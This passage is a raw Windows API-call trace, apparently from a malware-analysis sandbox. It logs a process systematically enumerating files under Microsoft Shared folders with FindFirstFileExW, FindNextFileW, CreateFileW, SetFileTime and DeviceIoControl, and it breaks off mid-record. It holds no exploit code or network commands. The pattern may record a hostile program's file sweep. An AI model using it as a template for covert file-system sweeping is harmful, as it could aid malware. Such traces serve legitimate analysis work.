ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPREARM.EXE", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0056.662] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0056.662] GetLastError () returned 0x12 [0056.662] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ebe0) returned 1 [0056.663] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0056.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ece8) returned 1 [0056.663] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0056.663] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0056.663] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.663] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF" (normalized: "c:\\program files\\common files\\microsoft shared\\proof"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0056.682] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0056.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.682] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0056.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.682] NtClose (Handle=0x190) returned 0x0 [0056.682] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.682] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0056.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0056.683] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.683] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ead8 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e0e0 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ece8 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e100 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9ebe0 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.683] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0056.683] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.683] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf9e120 [0056.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf9f000 [0056.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0056.684] GetLastError () returned 0x12 [0056.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0056.684] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0 [0056.684] GetLastError () returned 0x12 [0056.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0056.684] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0056.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0056.684] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="")) returned 1 [0056.684] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.684] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0056.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0056.685] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0056.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfa0d30 [0056.685] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfa0d30, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfa0d30, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0056.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfa0d30) returned 1 [0056.685] NtClose (Handle=0x184) returned 0x0 [0056.685] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0056.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0056.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0056.685] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0056.685] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0056.689] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.689] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.689] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.689] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.689] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0056.690] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0056.690] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: 